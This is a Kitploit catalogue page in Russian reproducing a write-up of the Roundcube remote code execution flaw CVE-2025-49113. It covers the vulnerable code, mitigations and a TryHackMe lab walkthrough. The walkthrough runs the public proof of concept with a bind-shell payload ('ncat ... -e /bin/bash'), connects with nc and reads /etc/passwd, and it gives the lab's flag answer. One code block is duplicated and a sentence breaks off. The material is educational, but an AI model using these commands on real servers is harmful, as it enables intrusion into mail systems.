Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Roundcube_CVE-2025-49113 — Объяснение + лабораторная работа на THM | Kitploit
Инструменты/GitHubGitHub/5kr1pt/roundcube_cve-2025-49113
Анализ уязвимостейЭксплуатацияШелл-кодЭксплуатация веб-приложенийCTFТестирование на ПроникновениеОбучение и ОбразованиеРазработка Полезной НагрузкиЛаборатории и Практика
GitHub5kr1pt/roundcube_cve-2025-49113

Roundcube_CVE-2025-49113

Объяснение + лабораторная работа на THM

1 год назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий

RCE в Roundcube (CVE-2025-49113) — Моя заметка из Obsidian .md

{{date}} {{time}}

Статус: Завершено

Лаборатория: Easy

Теги: [[RCE]] | [[PHP]] | [[LAB_THM]] | [[EXPLOIT]] | [[CVE]]

от KRPT Paulo G. Werneck - Linkedin - in.com/pgw-script


Воздействие: удаленное выполнение команд после входа в систему (CVSS 9.9)
Затронутые версии: ≤ 1.5.10 / 1.6.10
Исправлено: 1.5.11 и 1.6.11


1 – Хронология

ДатаСобытие
~2014Введение маршрута program/actions/settings/upload.php с использованием session->append() без проверки.
03 июн 2025Исследователи из @FearsOff публикуют advisory и объявляют PoC.
04 июн 2025Roundcube применяет commit 0376f69 (1.6-stable) и commit 7408f31 (1.5-lts).
06 июн 2025PoC опубликован на github. (fearsoff-org/CVE-2025-49113)
10 июн 2025Массовая эксплуатация.

2 – Где была проблема

Уязвимый код (1.6.10)

root@kitploit:~
// program/actions/settings/upload.php 
$from = rcube_utils::get_input_string('_from', rcube_utils::INPUT_GET);
$type = preg_replace('/(add|edit)-/', '', $from);

// … более ниже
$rcmail->session->append($type . '.files', $id, $attachment);

Параметр _from приходит полностью из GET, затем становится частью имени узла в сессии, и во время первого append() Roundcube делает:

root@kitploit:~
// program/actions/settings/upload.php

$from = rcube_utils::get_input_string('_from', rcube_utils::INPUT_GET);

$type = preg_replace('/(add|edit)-/', '', $from);

// … более ниже

$rcmail->session->append($type . '.files', $id, $attachment);

Если файл существует, RCE сработал.


3 – Меры защиты

  1. Обновите немедленно до ≥ 1.6.11 или ≥ 1.5.11.

  2. Если не удается обновиться, заблокируйте любой _from, содержащий %22, %7C, !, . или управляющие байты через WAF, брандмауэр или rewrite.

  3. Отключите опасные функции (proc_open, exec и т.д.) в php.ini.

  4. Заблокируйте загрузки в панели настроек и отслеживайте логи.


4 - Лабораторная работа - TryHackme - WriteUp

Free Room: https://tryhackme.com/room/roundcubecve202549113

Создано tryhackme & strategos

1. Разведка

  1. Открыть ВМ (MACHINE_IP) и AttackBox.

  2. Перейти на http://MACHINE_IP/roundcube с:

    пользователь: ellieptic пароль: ChangeMe123

    Это сработает и выполнит вход в систему:

    Tela de login


2. Сборка эксплойта

После того как убедимся, что всё работает, запустим эксплойт. Для этого перейдем к ранее указанному PoC на github и сделаем git clone:

root@kitploit:~
mkdir tmp
cd tmp
git clone https://github.com/fearsoff-org/CVE-2025-49113
cd CVE-2025-49113

exploit


3. Подготовка полезной нагрузки

Использование полезной нагрузки просто: нужно создать bind shell и указать порт с файлом .php согласно использованию ниже:

php CVE-2025-49113.php <site> <user> <senha> "<bind shell>"

php CVE-2025-49113.php http://MACHINE_IP/roundcube ellieptic ChangeMe123 "ncat -lvnp 1337 -e /bin/bash"

– Скрипт выполняет вход, внедряет вредоносный PHP-объект в параметр _from, как мы говорили ранее, вызывает конечную точку upload.php, а затем принудительно выходит из системы, чтобы вызвать
session_decode() → unserialize() → proc_open().

Иногда он показывает ошибку CSRF; игнорируйте её и переходите к следующему шагу,
потому что команда, как правило, всё равно выполняется.

exploit


4. Подключение к shell

Если bind shell сработал, она слушает на порту 1337, который мы указали, просто подключаемся к нему сейчас:

nc MACHINE_IP 1337

Shell получена.

shell


5. Ответы на вопросы

Вопросы и ответы

  1. Пользователь Maggie
    Вопрос: У одного из пользователей имя Maggie. Какая у неё фамилия?
    Ответ: Byte

Чтобы решить этот вопрос, можно было сделать cat в /etc/passwd, отфильтровав пользователя maggie, или просто выполнить ls в /home

1

  1. Флаг в /etc
    Вопрос: Каково значение флага, сохранённого в /etc?
    Ответ: THM{ICE_CUBE_DESERIALISATION}

Чтобы решить это, я выполнил cat /etc/flag*, и, к счастью, имя файла было flag, и мы смогли его захватить.

2


5 – Ссылки

  • Commit 1.6.11 – https://github.com/roundcube/roundcubemail/commit/0376f69e958a8fef7f6f09e352c541b4e7729c4d

  • Commit 1.5.11 – https://github.com/roundcube/roundcubemail/commit/7408f31379666124a39f9cb1018f62bc5e2dc695

  • FearsOff write-up – https://fearsoff.org/research/roundcube

  • OffSec blog – https://www.offsec.com/blog/cve-2025-49113/ offsec.com

  • TryHackme - TryHackMe | Roundcube: CVE-2025-49113

  • GHSA advisory – https://github.com/advisories/GHSA-8j8w-wwqc-x596 github.com

Скачать инструмент